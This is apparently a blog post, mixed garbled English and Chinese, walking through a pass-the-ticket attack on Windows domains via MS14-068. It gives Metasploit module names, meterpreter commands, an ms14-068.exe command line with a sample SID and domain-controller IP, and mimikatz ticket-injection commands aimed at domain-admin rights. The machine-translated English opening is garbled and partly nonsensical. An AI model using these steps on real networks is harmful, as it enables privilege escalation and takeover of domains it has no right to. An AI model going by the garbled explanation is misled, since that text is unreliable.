The ticket transfer field penetration attacks (pass the ticket, ptt)

Notes passing attack (PtT in) is a plaintext password instead of using the Kerberos ticket or NTLM hash method. PtT most common use may be to use gold and silver bills bills, access the host through PtT quite simple.

1. part ptt attack

NTLM authentication is not simple, and it is the use Kerbe ROS protocol attacks

Before the introduction of the Kerberos protocol specific working methods: Kerberos authentication in a domain, a brief overview:

  • The client password NTLM hash of the plaintext, and then encrypted with a time stamp (krbtgt using cryptographic hash as a key), sent to the KDC (domain controller), the user detection KDC, create TGT (Ticket-Granting Ticket) after successful
  • The TGT is encrypted signature is returned to the client machine, only krbtgt domain users can read the kerberos TGT data
  • The client then sent to the domain controller TGT KDC requesting the TGS (authorization service ticket) ticket, and detecting the TGT
  • After detection is successful, the target service account and NTLM TGT is encrypted, the encrypted result is returned to the client.

1.1 ms14-068

MS14-068 is the Key Distribution Center (KDC) service in Windows vulnerability. It allows a user to insert any authenticated PAC its Kerberos ticket (TGT) (indicated structures of all user rights). The vulnerability is located kdcsvc.dll domain controller Key Distribution Center (KDC) in. Users can obtain tickets by presenting Kerberos TGT has changed the PAC.
In msf it was also integrated with the operation of ms14-068
To use we first have to:
1. The domain user and the domain controller sid hostname,
 
2. the target domain name
3. The current domain user account and password

 

 

Then msf under
msf > use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

注意:这里的rhost设置成你想要假冒的域的主机名,一般是域控主机名
然后找到生成的文件,TGT凭单(具有特权PAC信息)已保存在中
这种格式非常有用,因为可以通过Mimikatz在Windows客户端上或在linux客户端上使用MIT kerberos导入
同时,可以使用mimikatz转换格式(任何mimikatz安装都可以完成工作,而无需成为域计算机或类似的东西):
注意:mimikatz不支持注入xp以及以下系统
在kail系统下还没有默认安装kerberos的认证功能所以我们首先要安装一个kerberos客户端:
apt-get install krb5-user
然后在目标靶机上传mimikatz和生成的bin文件,将我们生成的bin文件转换为.kirbi文件,然后再在通过kiwi meterpreter扩展名加载。首先需要在域计算机上进行会话,然后使用kiwi扩展名导入TGT票证:
上传mimikatz:
上传bin文件:
 
mimikatz:
 
ok,导出的文件[email protected]现在可以用于kiwi meterpreter扩展名加载。首先需要在域计算机上进行会话,然后使用kiwi扩展名导入TGT票证:
返回到meterpreter,注意这里必须要有管理员权限才行。
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
运行load kiwi

 

将生成的kirbi下载回来到本地/tmp/文件夹内:(因为我kali上的kerberos安装有问题...)
download c:/wmpub/0-00000000[email protected] /tmp/

 

最后注入票据:
 
最后一步总是失败,可能是msf上mimikatz对windows2003的支持问题,下次在win7上试一下。
 

1.2 使用ms14-068.exe

除了使用msf配合mimikatz,还可以使用ms14-068.exe,全程在目标机上完成注入

1.2.1 使用whoami/user得到域用户的sid

1.2.2 执行payload生成TGT票据

    使用工具:ms14-068
    使用方法:
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
        运行:
MS14-068.exe -u xian.com -s S-1-5-21-3472572548-430068626-1276128607-1106 -d 192.168.5.2 -p xxx
如果操作正确,且域机器是可以和域控制器互通则会创建.ccache文件
当前目录下生成伪造的票据文件:

1.2.3 票据注入

     使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
        mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造 
        mimikatz # kerberos::list //查看当前机器凭证 
        mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中

 

 

显示错误
经过上面实验,和网上资料,域成员主机如果为windows xp或windows server 2003,是无法正常伪造票据的
 

 

 

 

Guess you like

Origin www.cnblogs.com/Xy--1/p/12231747.html